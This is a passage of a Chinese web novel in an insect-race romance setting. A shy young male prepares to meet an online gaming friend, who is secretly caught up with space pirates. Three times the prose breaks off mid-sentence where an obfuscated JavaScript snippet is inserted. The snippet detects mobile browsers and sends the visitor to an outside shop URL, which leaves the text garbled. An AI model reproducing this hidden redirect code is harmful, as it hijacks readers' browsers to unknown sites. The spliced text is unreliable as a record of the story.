他的卷毛遗传了雄父,不管怎样打理都没办法变直,根本无可救药。 好在这头卷毛十分浓密,发质还不错,每一根都光泽度满满。 “有点儿长啊。” 哈德森比划了一下,他的刘海儿已经遮住了他最满意的浓眉大眼,只能露出瘦削的下半张脸,显得很没有精神。 他尝试将头发向后扎起,露出整张脸。 但他的额头许久不见光,已经快要变成他的另一种隐私部位。 猝不及防失去了庇护,饱满的额头在屋内昏暗的光线下白到发亮,就好像被扒光了放在光天化日之下。 他连忙用头发盖住,找了把剪刀自己稍微修了修。 修完头发,他身上那种阴暗颓废的气息都消退了一些。 他觉得不够完美,又在万联网上找教程精修了一番。 亲友面基虽然不需要这样,但去见一个金发大帅哥需要,至少刘海儿不能太厚,会妨碍视线,影响他仔细检查品鉴布伦丹的长相。 等他心满意足的结束了这项工作,他的光脑响起提示,兼职工作又来了。 【似风:您好,我想咨询一下,第一次给雄虫送礼物,什么样的比较合适?】 【林中云雀:是最开始的那个雌虫咨询的?】 【似风:对。】 哈德森还挺喜欢那对小情侣,虽然进度比较快,但能看出来雌虫这一方真的很用心。 他当然也不能掉链子。 疯狂检索相关信息后,他综合给出了自己比较认同的答案。 【林中云雀:如果是我的话,我会比较希望收到更实用的礼物。不过其他雄虫会偏爱一些饰品类的漂亮礼物,这个需要根据雄虫的性格来定。我的建议是,在经济范围内,购买一件价格适中的实用型礼物,搭配上价格稍微高一点的小巧饰品。这样送礼时不会显得很空,小饰品也适合拍照。】 【似风:搭配?好的。】 【林中云雀:不同的礼物分阶段送出,效果会更好。】 【似风:感谢您的提议。】 关掉论坛后,哈德森若有所思。 礼物…… 自己是不是也应该在面基时准备点什么啊? 但布伦丹会收下吗? 万一没能送出去,礼物怎么办? 哈德森灵光一闪,有了一个绝妙的主意。 22.三天时间 22、 酒馆的房间内。 莱卡约抬起头,眼底闪过一丝没能藏好的震惊,随后变成疑惑不解的语气: “你的宝贝就是一块石头?” 阿历克斯没有详细说: “对,一块手掌大小,琥珀色的石头。” 这个大小,颜色,还有猩红号上舰员的状态,再加上他们冒着巨大的风险来到中央星系附近…… 莱卡约有了猜测的方向,继续问: “如果只有这点信息,我没办法确定你想要的东西是什么。如果你口中那个满嘴谎言的叛徒骗了我,我该怎么办?” 阿历克斯犹豫了片刻,说: “碰到那块石头的时候,你的狂化病能缓解一些。” 这下莱卡约完全确定了自己的猜测。 如今这个社会,雄虫能始终在人口占比极低的前提下,保持相对较高的地位,依靠的就是安抚。 作为实力强大的种族,虫族帝国的版图在巅峰时期曾扩张到宇宙三分之二。 而这种强大并非全无代价。 狂化病就是每个雌虫从出生那一刻起就面对的问题。 雌虫的虫化是将能量密度极高的血液挤压至身体表面,凝结成某种质地坚硬的铠甲,所以每一次虫化都会在血液里积攒一部分肉眼无法辨别的“污浊”。 这种“污浊”积攒过多,会导致雌虫难以虫化,虫化后难以恢复正常状态,还有就是,极为强烈的痛苦。 □□上的强烈痛苦会让雌虫的脾气变得暴虐易怒,皮肤赤红,眼睛浑浊不堪,像是发狂了一般。 这就是狂化病的由来。 在莱卡约看来,狂化病不能称之为病,而是一种类似于生锈、老化之类的自然损耗。 雄虫的念力就是类似于“润滑剂”的存在,能够让雌虫更高效的工作,所以雄虫也间接掌握了整个社会的生产资料,再加上虫帝陛下为代表的S级雄虫,拥有着一定程度的战斗能力,才能坐稳如今的社会地位。 莱卡约渴望拥有绝对的自由,为此,他驾驶着一艘星舰离开中央星,想要找到不再依赖雄虫的办法。 六年里,他一无所获,留给他的时间越来越少。 他的状态看似不错,狂化病还没有发展到晚期,但雌虫刻在基因里的繁衍天性已经做好了准备。 就像雄虫为了传递基因,通过抑制对应染色体的活性减少雄虫幼崽的诞生,雌虫为了能对抗狂化病,延续基因,也进化出了一套方式。 孤雌生殖。 当雌虫进入生育期,又始终没能完成生育,他们的生殖腔会逐渐异变,孕育出一个和自己基因完全相同的幼崽,同时将自己绝大多数的记忆都传承下去。 新生的幼崽与自己样貌、性格相同,记忆也近乎一致,可以看作是一个完美的“复制品”。 雌虫通过这种方式变相的延长了寿命。 但代价就是,孕育的雌虫会因为失去太多的力量在几年内迅速死亡。 莱卡约不想进入孤雌生殖的状态,哪怕未来是被狂化病折磨致死,他也只想活一次。 所以他必须完成一次生育,通过完整的孕育过程让他的生殖腔不再具有孤雌生殖的能力,之后他就可以继续在宇宙中漂荡,寻找那微小的可能。 最好是雄虫幼崽,这样在孕育时就能极大程度改善他的状态,一次到位。 现在,天无绝人之路。 如果那枚石头真的能缓解狂化病,或许就是他苦苦寻找六年的东西。 他现在能做的,就是尽可能获得信息。 莱卡约思索后说道: “斯利特如果是雄虫的话,他可以在旁边通过念力安抚,伪造出类似的效果。我该怎么判断?” 阿历克斯显然没有想到这一点。 随后他眼神亢奋起来。 对付骗子,就得找一个同样擅长欺骗的骗子。 猩红号上的成员擅长打打杀杀,不适合做这个。 “你自己不会想办法解决吗?我只要结果,你要是拿不回来,血蝎子号上的所有家伙都得陪葬。” 莱卡约顺着他的话说: “你那里还有类似的东西吗?我如果能见到一次实物,会更有把握。” 阿历克斯态度倨傲: “你以为我们还是平等的位置?现在你就是我捏在手里的小虫子,还想给我提条件?你觉得我会信任你?” 他从怀里掏出一瓶小小的药剂。 莱卡约的瞳孔轻微收缩,问道: “这是什么?” “能阻止你完全虫化的药物。” 莱卡约有些抗拒: “不能虫化,我没办法从这里回到中央星。” “你还想虫化?当然可以。” 阿历克斯没再等他说话,掐着他的脖子直接将药剂倒进了他的嘴里,狞笑着说, “只要你能忍住疼痛。” 莱卡约做出吞咽的动作,实则在体内将血液凝固,创造出一个很小的腔室,把大部分的药剂都存储在其中。 不过在口腔内吸收的那一小部分,确实没有办法。 随后,一阵类似于狂化病发作的疼痛顺着血管涌向了四肢。 他能感受到自己对血液的掌控在快速下降,污浊也在快速积累。 如果把药剂全都吞下,别提完全虫化,他连部分虫化都得忍受着极为剧烈的疼痛。 好在现在这个情况还在预想范围内。 “走,回猩红号。” 阿历克斯自认为拿捏住了莱卡约的弱点,完全把他当成了随意驱使的仆从。 莱卡约跟在后面,额头上冒出大滴大滴的汗珠,脸色苍白。 猩红号上,杰森看到莱卡约痛苦的模样,幸灾乐祸,还在他路过时一拳袭在柔软的腹部。 阿历克斯看到了,并没有制止。 一路都是一双双不怀好意的眼神,就像在凝视着受伤的猎物。 星盗都是这样,落单再加上身体虚弱,很快就会被其他星盗疯狂蚕食。 很快,他们走到了猩红号的核心区域。 三米厚的坚实墙壁,还有四道需要验证的密码门,最后,莱卡约才进入了那个地方。 阿历克斯没有允许他靠近,只是让他在门口远远看了一眼。 里面灯火通明,正中间摆放着一个琥珀色的石头。 莱卡约的瞳孔轻微收缩,手臂表面隐约有浓稠到近乎漆黑的血液流动,但在凝固成虫甲的前一秒又恢复了原样。 不能冒险,现在的准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074335|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不够充分,情报也不够多。 “看好了吗?” 阿历克斯在莱卡约的耳边低语,随后笑了笑, “不错,你很聪明,知道控制自己的贪婪。” 他走进去,推开侧边的一扇小门。 狭窄的空间完全不透光,一片漆黑,正中是个造型奇特的摆台,托举着一枚小小的石头,有节奏的发出琥珀色的柔光。 “现在,看清楚你要找的东西是什么了吗?” ** 哈德森挑选完礼物后,兴致有些高昂,刷了几个虫帝陛下的视频又转发给布伦丹。 但这次布伦丹没有和之前那样简短回复一句,反倒拨打了他的视频通讯。 他迅速挂断,心脏扑通扑通的乱跳。 干什么,这么突然! 在他心里,朋友可没有视频通话的权限。 不过语音倒是可以勉强接受。 哈德森纠结了半分钟,一边点击语音通讯,一边用手指扣着墙皮。 布伦丹接通后,先说: “想我了吗?我现在不方便打字,只能这样。” 哈德森也不知道怎么回复,就直接开门见山的说: “你定下来找我的时间了吗?” 布伦丹说话的声音断断续续,似乎信号不好,有一些杂音: “尽快……嗯,三天后怎么样?” “好的!” 他的语气中难掩兴奋。 布伦丹问道: “终于能见面了,是不是很期待?我真的很想现在就见到你。” 哈德森满头卷毛唰得炸了起来,有种说不清道不明的感受在胸口涌动着。 静电? 好奇怪,他现在该说什么? 他想不通,只能说: “还好吧,就三天时间,72个小时。” 布伦丹接着他的话说: “4320分钟。” “哦,你可真会算数,那三天是多少秒?” 布伦丹轻笑了一声: “259200秒,259198秒。” 哈德森的耳朵非常不舒服,声音好像要钻进他的天灵盖里,涨得发烫。 他瞬间紧张起来,手摁在了通话结束的按钮上,但不知为何,他从布伦丹的语气中听出了一些奇怪的情绪。 布伦丹现在想要谈话继续下去。 他没有挂断,强忍着发烫发麻的耳朵,说: “你算好时差了吗?不一定是72小时哦。” 布伦丹用一种很低沉沙哑的嗓音说: “从认识你那天开始,我一直在按照你的时区生活,为了不错过你的每一次呼唤。” 哈德森心想,怪不得他每天早上叫布伦丹上号,都能成功。 太有心了! 他发自内心的称赞: “你真好。其实不用这样,我比较闲,按照你的时间来也可以。” 硬着头皮说了几句,他实在撑不住了,闲聊的能量几乎消耗殆尽。 正在想理由挂断,就听到布伦丹那边先说: “剩下的话,我会在见面的时候说给你听。” 然后通讯结束。 哈德森松了一口气。 完美! 23.约会安排 23、 挂断后,莱卡约对着身后眼神狠戾的阿历克斯,说: “我骗你干什么,都说了我去中央星的目的就是找对象谈恋爱。” 他的表情淡然平静,实则早就捏了一把汗。 哈德森发来消息时,他正在尝试获得阿历克斯的信任,近距离接触那块真正的石头。 如果能顺便确认一下血蝎子号那边的情况,他接下来也能放开手脚。 可惜阿历克斯的疑心很重,始终盯着他的一举一动,他没有机会使用光脑,始终未能成功。 就在这个时候,他的光脑响起一连串的消息提示音。 有人尝试联系他。 阿历克斯露出了防备的表情。 “谁?” 莱卡约给哈德森设置了专属提示音,所以第一时间就知道答案。 “我谈的雄虫对象。我给他的消息提示设置了最高权限。要打开吗?” 他之前说过,要去中央星找对象生孩子,不过阿历克斯并不相信,扬了扬下巴。 莱卡约打开光脑,借着解锁屏幕的时机输入了一串密文。 光脑内提前加载的信息在后台发送了出去。 除了他,谁也不知道。 这一步已经完成,接下来只要消除阿历克斯的疑心即可。 但…… 以他和哈德森的聊天内容,很难成功。 哈德森果然只是转发了一堆虫帝陛下的视频。 莱卡约准备回复他两句,阿历克斯跨过他,点在了光脑屏幕上,一字一顿地说: “视频通话,我看看你们是怎么谈恋爱的。” 莱卡约的心脏瞬间一紧,藏在衣服下方的皮肤凝出一层薄薄的虫甲。 哈德森只是一个普通的雄虫,和星盗毫无瓜葛,哪怕有风险,他也绝对不允许…… 这个念头还没出来,哈德森就光速挂断。 气氛顿时变得紧张危险。 阿历克斯上下打量着莱卡约,眼底闪过一丝怀疑。 莱卡约一边解释,一边想着办法: “他比较害羞,所以……” 紧接着,哈德森发来了语音通讯。 他连忙开口,生怕哈德森说一句“上号,over”,话题就很难进行下去,他更不可能取信于阿历克斯。 通讯里传来一声轻飘飘又很扭捏的声音。 “你定下来找我的时间了吗?” 距离如此之远,没有事先沟通,甚至他只说了一句话,哈德森就给予了他远超预期的回应,语气里的羞涩都恰到好处。 完全不像是一个呆呆的雄虫,更像是和他旗鼓相当,有着超快应对能力的高手。 “尽快……” 莱卡约看到阿历克斯竖起手指比了三的手势,随后改了说法。 哈德森的声音顿时变得愉快高昂,像一只快乐的小鸟。 莱卡约继续聊着,正常情况下,哈德森要么是闲聊两句就自闭,要么就是搭不上他的弦,可这次,居然什么幺蛾子都没发生,真让他俩聊出了一点暧昧甜蜜的氛围。 聊天时间也超出了他的预期。 他偷偷观察着阿历克斯的表情,那张脸从一开始的戒备警惕逐渐变成了疑惑,很快转变到肉麻嫌恶,用手势示意他赶紧挂断。 他松了一口气。 阿历克斯说: “我操,你说话的语气和表情真够恶心。” 莱卡约心想,这样才能获得足够的信任。 他还没有意识到,喜欢是一种极其复杂的情绪,从语气,眼神,说话的声音等等,在毫无准备的前提下,非常容易出现情绪与肢体语言的矛盾。 他拥有一定表演的天赋,但还不至于几秒钟就能做出极为精妙的表演,骗过阿历克斯的程度。 然而阿历克斯依旧不再怀疑: “没想到你居然真的会爱上雄虫,看来脑子也没有多好用。” 莱卡约说: “我没有你们神通广大,能搞来这种好东西,年纪大了自然得求助雄虫解决了。” 阿历克斯拍了拍莱卡约的脸: “好好表现,只要能完成任务,杰森有的你也会有。” 他拿走莱卡约的光脑,光明正大的加载了一个监听系统,还了回来。 莱卡约的眼皮微微抽搐。 这种五十年前的老古董代码,装在他的光脑上真是委屈了。 看来猩红号确实脱离中央星系挺久。 阿历克斯说: “我给你三个月的时间。三个月以后,不管完成任务与否,你都必须回到猩红号上,不然,你会直接狂化病发作而死。” 那个药剂果然不只是遏制完全虫化。 莱卡约问: “我需要知道斯利特的信息,他的生物特征,生活习惯,口癖等等。” 阿历克斯说: “他能一定程度伪装自己,长相没有意义。我这里有他的血液,剩下的你自己想办法。” 说完,他突然想起什么,舔了舔嘴唇, “还有一条信息忘记告诉你,他有重度性//瘾,不管再怎么伪装,他都离不开雌虫。” 莱卡约眉头不易察觉的皱起。 一艘不受法律道德约束的星盗舰上,雄虫会是什么待遇他用脚都能想出来,是真有性//瘾还是被逼无奈? 阿历克斯语气中透着一股强烈的饥渴,锋利的牙齿左右摩擦着,似乎要把什么东西吞吃入腹一般。 “他曾经是那么美味的小点心。可惜,我饶不了叛徒。” 之后都是没用的信息,莱卡约的注意力放在了身后,仔细回想着。 那块藏在暗室里的石头,似乎有活着的迹象? 如果他只是一个普通的星盗,以他的实力,直接抢了就跑最划算。 但这样就无从得知,阿历克斯是从哪里得到这两块石头的,猩红号也会快速逃离这里,消失于茫茫宇宙之中。 走一步看一步吧。 ** 哈德森收到准确的时间后,赶忙在自己的倒计时里歪歪扭扭的画上圈。 因为实在太激动了,差点儿拿不稳笔。 隐约有个念头出现在脑海里。 至于这样吗? 布伦丹对他来说,是不是太独特了? 他转念一想,这也正常,万联网上的大家都这样,还有失眠一整晚的呢。 随后他开始犹豫着要联系谁。 阿喵? 事后阿喵一定会问很多,话题百分百会拐到雌雄之间的那种事情上,他不想说太多。 特里斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079959|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 他24岁了,出趟门还要给家长报备,实在是有些不像话。 但他又想让特里斯看到他的成长。 他可以主动出门正常交友,下一步自然也就可以正常工作,养活自己。 最后他还是决定找特里斯。 “父亲,我过两天要出门。” 听筒里先是沉默,然后丁零当啷一阵巨响,有什么东西掉在了地上。 “你要出门?” 哈德森耳朵微微发烫,小声说: “对,我准备去见一个朋友。” 他的朋友就那么几个,一只手数得过来,特里斯知道那几个雄虫小孩,很放心。 “好的。你缺钱吗?我给你转点儿,三万够不够。” “不用,只是告诉你一声,我手里还有存款的。” “让你收下就收下。想好去哪儿了吗?” “还没呢,等确定了之后再告诉你。” “你年纪大了,自己想怎么玩就怎么玩。” 特里斯像寻常父亲一样唠叨着,哈德森也开心起来。 随后他赶紧发消息给布伦丹。 【哈特梆硬:咱们到时候有什么安排,你确定了吗?】 【布伦丹:我是3天后下午五点到第十二区的机场,然后我去你家接你,在希特酒店吃一顿晚饭后,还可以在十二区中央大街逛一圈看看夜景,之后再去开个房间通宵,怎么样?正巧大逃杀有比赛直播,还可以一起看。】 通宵打游戏! 哈德森以前通宵都是因为排位输太多生闷气,还没有和好友组队通宵过。 还有看比赛环节,布伦丹真的太懂他了。 他真的很想和朋友一起线下看比赛,只是他的朋友都是雄虫,完全不玩游戏,所以他从来没有体验过。 【哈特梆硬:好的!我可以去机场和你碰头。】 帖子里都是这样,在某个交通枢纽里见面,然后立刻开始下一个环节。 他也想尽快见到布伦丹。 【布伦丹:也行。】 哈德森犹豫了一会儿,发了一条消息,目的完全遮掩不住。 【哈特梆硬:既然是我去机场找你,那你得拍一张你那天的全身照给我,免得我认不出来你是谁。】 【布伦丹:你稍等一下。】 他又迅速补充。 【哈特梆硬:我现在不方便拍照,只能口述我那天穿的衣服。】 一个蹩脚的谎言。 他的心脏都要从嗓子眼里跳出来了,紧张到手掌心都在出汗。 过了一会儿,布伦丹才回复。 【布伦丹:没关系,你和其他雄虫都不一样,我的心一定能让我认出你。】 【布伦丹:「图片」】 哈德森压根儿没顾上看布伦丹前面说了什么,先打开图片仔细观察。 深色短款皮质夹克,内搭一件简约款衬衣,脖子上挂着长长的银链吊坠,下身是黑色长裤和一双皮靴,不羁中又带着一些独特的设计感。 和他之前两张照片的气质都不同,像是拍完照就会骑着摩托在公路上飙车,看得哈德森有些心痒。 只是布伦丹左手举着光脑拍摄,挡住了半张脸,只露出铂金色的头发。 可恶! 在吊胃口吗?! 24.亲密关系 24、 哈德森不死心的将图片放大,看到了轮廓分明的下颌线条,喉结旁边有颗黑色小痣点缀其上。 再往下,衬衣领口V字交叉的地方,能看到一小节凸起的锁骨,下方有一颗新的小痣。位置稍微有些深,正常穿衣服很难露出来。 果然有。 但实在不够显眼,如果能用一圈红印标示出来,就非常完美。 至于什么红印,他的大脑里没有明确的概念。 他的手指在屏幕上来回划动,反复放大缩小,似乎想要通过这种方式将衣领扒开一些,再确定一下其他地方…… 嚯! 哈德森猛地收回手指,警告自己: “好奇心不能太强,不许对好朋友的外貌评头论足,非常没有礼貌。而且痣也不是缺点,盯着看干什么?” 光脑又响起了提示音。 布伦丹发来一条信息。 【布伦丹:「图片」】 【布伦丹:我这里的衣服不多,目前就这两身,你觉得哪套合适?】 哈德森第一张还没鉴赏完毕,下一张就发了过来,手忙脚乱的点开。 第二张和他准备的风格有些类似,长款风衣内搭毛衣,版型宽大,整体气质更温和内敛一些。 这张拍摄机位更低一些,布伦丹靠在墙上,视线朝下,姿势很放松。 以哈德森的社恐性格,他内心原本更偏向于第二套。 比较安全。 第一套气质太张扬,走在哪里都会是人群焦点。 偏偏第一套的露肤面积大,恰好露出锁骨的小痣。 哈德森总觉得,布伦丹虽然说话很斯文礼貌,实则更适合第一套不羁自由的感觉。 他心想: 对,是布伦丹的气质更贴。 而且我要穿第二套,两人穿衣样式太接近,站在一起就像什么地下组织碰头一样。 【哈特梆硬:第一套不错。】 【布伦丹:为什么?你更喜欢第一套的哪里?】 哪里? 当然是衬衣的V字领口啊。 哈德森的脸瞬间涌上了热意,在聊天框里各种胡言乱语,再立刻删除。 最后昧着良心,憋了个牛头不对马嘴。 【哈特梆硬:因为现在很热。】 【布伦丹:哈哈哈哈哈,等我们玩起来,我会更热的~】 玩。 哈德森敏锐捕捉到熟悉领域的词语,神经放松了下来。 【哈特梆硬:你说得我手痒了。】 【布伦丹:……】 【布伦丹:你想要……了吗?】 【哈特梆硬:对。快点,上线上线,大逃杀。】 对面短暂沉默了一分钟。 【布伦丹:不行,我得准备出发了,这三天可能都没办法及时回复你。】 【哈特梆硬:哦。那我们先说一下,在机场的哪里碰面?】 【布伦丹:我看看。机场中心区域有一个咖啡店,在那里怎么样?】 【哈特梆硬:好的。那你一路平安。】 聊完,他盯着布伦丹的照片看了很久。 他少年时期的偶像是个雌虫大明星,所以他对雌虫的穿衣打扮稍微有点儿了解。 不多,正好够他品鉴一下布伦丹的几张照片。 越看越满意。 大多数雌虫不管长什么样子,都像是一尊强壮高大的雕塑,几千个雌虫共用一套表情。 表情十分僵硬,拘谨约束。 就好像被无形的框架钉死在一个安全的范围内。 或许很死板,可在这样雌雄悬殊的社会里,起码无功无过,不用担心出差错后,耽误了仅有的机会。 卡尔能以雌虫身份成为大明星,就是因为他在镜头前会自信的展示着自己,丝毫不在意审视他的雄虫群体是否喜欢。 恰好他的审美很在线,即便他偶尔会在镜头里展示自己部分虫化的身躯,也是极具线条感与美学张力,感受不到恐怖。 布伦丹身上也有类似的感觉。 不过气质略有不同。 隐隐有种锋利的气息。 脸上那颗不够完美的小痣与他的气质相得益彰,不仅不扣分,反而更凸显了他的帅气。 只是不知道线下真正见面是什么样子。 哈德森看了眼墙上的日历,恨不得敲晕自己直接到三天后。 显然不可能。 无聊透顶的哈德森开始研究航班,下午五点有哪些飞行器会降落在机场。 一直到了晚上,他才想起,还得告诉一下特里斯行程。 然而时间已经到了九点。 特里斯睡觉时间很早,一般八点半就上床休息了,只能第二天再联系。 他小时候偶尔会好奇,他的双亲都是每天需要睡很久的低精力群体,居然能生出他这个日常熬夜的夜猫子。 要不是他传承了特里斯的记忆,还有同款卷毛,他都怀疑自己是不是亲生的。 距离他睡觉还有一段时间,他玩了会儿光脑,刷到一条新的咨询。 【似风:您好,我这边有一个新的问题。如果您觉得冒犯,可以不做回答。】 【似风:约会时安排了在酒店住一晚,雄虫同意,这是可以继续发展亲密关系的意思吗?】 哈德森眼睛唰得亮了起来。 哇塞,那对小情侣已经要开房了! 外面的雄虫果然不一样啊。 不过这个方面哈德森是完全不了解,编也编不出来。 【林中云雀:抱歉,这个问题我无法回答,需要他自己去询问雄虫的意见,获得许可。加油,他在朝着正确的方向努力,是很好的开始。】 【似风:感谢您的回答。】 似风依旧很有礼貌的转了咨询费,这次哈德森没收。 第二天一大早,哈德森起床先在日历上划掉一天,然后把行程发给特里斯。 特里斯的态度却一百八十度大转变。 【哈特梆硬:我们准备下午在机场见面,吃完饭去酒店通宵看比赛。】 特里斯直接打了他的通讯,语气不善: “通宵看比赛?你要和谁出去玩?” 哈德森这才想起自己没有说布伦丹的事情,兴奋地介绍: “叫布伦丹。我在万联网上认识的新朋友,性格很好,长得帅,游戏很有天赋,你不知道他有多好玩,哈哈哈,特别有意思,明明追星还不承认。我给他转发的视频他都看过了,还点赞了好几个,以为我不知道吗?” 特里斯有些疑惑: “我怎么没听说过这个名字,雌虫还是雄虫?” “雌虫。” “你们认识多久了?” “好像不到一个月吧?记不清了。” 哈德森对这一点没有任何隐瞒,这是他的改变,他勇气的体现。 特里斯的声音瞬间拔高: “一个月就和雌虫出去,还要住一晚?!” 哈德森连忙纠正: “你想什么呢!我们是去电竞酒店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083873|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看比赛。外面的环境很差啊,肯定是酒店更安全隐蔽一点。” 特里斯沉默了良久: “你成年了,我不会多插手你的事情,只有一个问题。你要和他做吗?” 哈德森大脑短暂空白了一瞬,好像在毫无准备的情况下踏入了一片崭新的领域。 但因为没有太多了解,所以只是踩了一下,随后茫然地撤回了脚。 他努力说服自己的父亲: “我们只是朋友,他也没有表达出其他的想法,只是一起玩得开心而已。” 特里斯嗯了一声: “孤雌寡雄在酒店过夜,只是看比赛。老天,我给你介绍过那么多优秀的雌虫,你都没有用这种语气形容过他们。” 哈德森硬梆梆地说: “是欣赏!你在污蔑我的朋友,我警告你。而且我在结婚前绝对不可能和雌虫做那种事情,你总是不相信我。” 特里斯叹了口气: “你真的太幼稚了,就算你不想做,雌虫不想吗?如果到时候他强迫你,你该怎么办?你根本没有解决的办法。事情永远不会按照你预想的方向发展,你作为雄虫,必须做好准备。” “不可能。” “你不用嘴硬,听着就行。我教你怎样逃脱雌虫的强迫,这是一项基本的生活技能。” 雌虫在身体强度上远胜雄虫,雄虫理论上无法逃脱雌虫的控制。 不过想要完成整个交///配行为,需要雄虫起码能兴奋起来。 纯粹的恐惧下极难实现,所以雌虫一定会在开始阶段进行一些暧昧的肢体互动,这也就给了雄虫逃脱机会。 哈德森全身难受,一直在努力说: “我不想听!” 但特里斯依旧讲了下去。 “你可以通过释放一些信息素降低雌虫的攻击性。如果不会释放的话,就摩擦耳后和手腕,简单刺激腺体,然后等他允许你靠近的时候,通过亲密动作,将你的气味笼罩在他身上……” 哈德森堵不住自己的耳朵,听他父亲描述的场面,自动带入了布伦丹,整张脸烫得要命,小声嘟囔: “我没想过那些事,你不要说了。再说我就挂断。” 特里斯的脾气也上来了,说: “我是你父亲,听我说两句能掉块肉吗?你敢挂断我一会儿就去你家。” 哈德森可不敢让他看到自己现在面红耳赤的模样,只能把光脑放在一边,假装自己神游天外,尝试左耳朵进右耳朵出。 然而零散的词语还是偷偷飘进了他的大脑里。 “…雌虫的身体看上去很松弛,这是表象,千万不能停下…” “…不同雌虫的状态有差别,但只要看到他瞳孔涣散,时机就很合适…” 花了十分钟,哈德森终于解救了自己的耳朵,仓促地挂断了通讯。 但他整张脸已经比番茄还要红,怎么都消退不了。 好烦,早知道不和特里斯说。 还好他没仔细听,不然该怎么面对自己的好朋友啊! 他和往常一样单排打游戏,好友界面里,布伦丹的头像还是灰色,没有上线,他却忍不住笑了起来。 布伦丹是个很好的雌虫,怎么可能强迫他? 他其实对相处的恶意非常敏感。 特里斯再婚后,埃尔对他一直很好,他却能感受到那种若有若无的排斥。 布伦丹就从来没有给他类似的感觉,甚至还有一种说不出道不明的亲近。 他们都是家里格格不入的小孩。